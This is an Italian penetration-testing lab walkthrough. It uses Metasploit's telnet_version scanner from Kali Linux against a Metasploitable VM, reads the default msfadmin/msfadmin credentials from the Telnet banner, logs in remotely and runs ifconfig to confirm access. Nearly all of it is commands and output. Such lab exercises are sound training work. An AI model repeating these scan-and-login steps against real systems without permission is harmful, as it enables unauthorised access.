

Utilizziamo l'exploit **telnet_version** con bersaglio la macchina Metasploitable (IP 192.168.1.40), lanciandolo da Kali Linux.

```
msf6 > use auxiliary/scanner/telnet/telnet_version
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):



| Name     | Current Setting | Required | Description                                                                                             |
|----------|-----------------|----------|---------------------------------------------------------------------------------------------------------|
| PASSWORD |                 | no       | The password for the specified username                                                                 |
| RHOSTS   |                 | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs">https://docs.metasploit.com/docs</a> |
| RPORT    | 23              | yes      | The target port (TCP)                                                                                   |
| THREADS  | 1               | yes      | The number of concurrent threads (max one per host)                                                     |
| TIMEOUT  | 30              | yes      | Timeout for the Telnet probe                                                                            |
| USERNAME |                 | no       | The username to authenticate as                                                                         |



View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.1.40
RHOSTS => 192.168.1.40
```

Una volta lanciato, ci fornisce le credenziali di accesso alla macchina.

```
msf6 auxiliary(scanner/telnet/telnet_version) > exploit

[*] 192.168.1.40:23 - 192.168.1.40:23 TELNET
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started

[*] 192.168.1.40:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Creiamo un collegamento **telnet** inserendo le credenziali trovate precedentemente.

```
msf6 auxiliary(scanner/telnet/telnet_version) > telnet 192.168.1.40
[*] exec: telnet 192.168.1.40

Trying 192.168.1.40 ...
Connected to 192.168.1.40.
Escape character is '^]'.

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Tue Mar  5 04:18:46 EST 2024 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
```

Effettivamente siamo riusciti a collegarci in remoto alla macchina, come dimostra l'esecuzione del comando **ifconfig**.

```
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:1b:c2:1a
          inet addr:192.168.1.40  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe1b:c21a/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:95 errors:0 dropped:0 overruns:0 frame:0
          TX packets:167 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:6850 (6.6 KB)  TX bytes:18733 (18.2 KB)
          Base address:0xd020  Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:159 errors:0 dropped:0 overruns:0 frame:0
          TX packets:159 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:52373 (51.1 KB)  TX bytes:52373 (51.1 KB)
```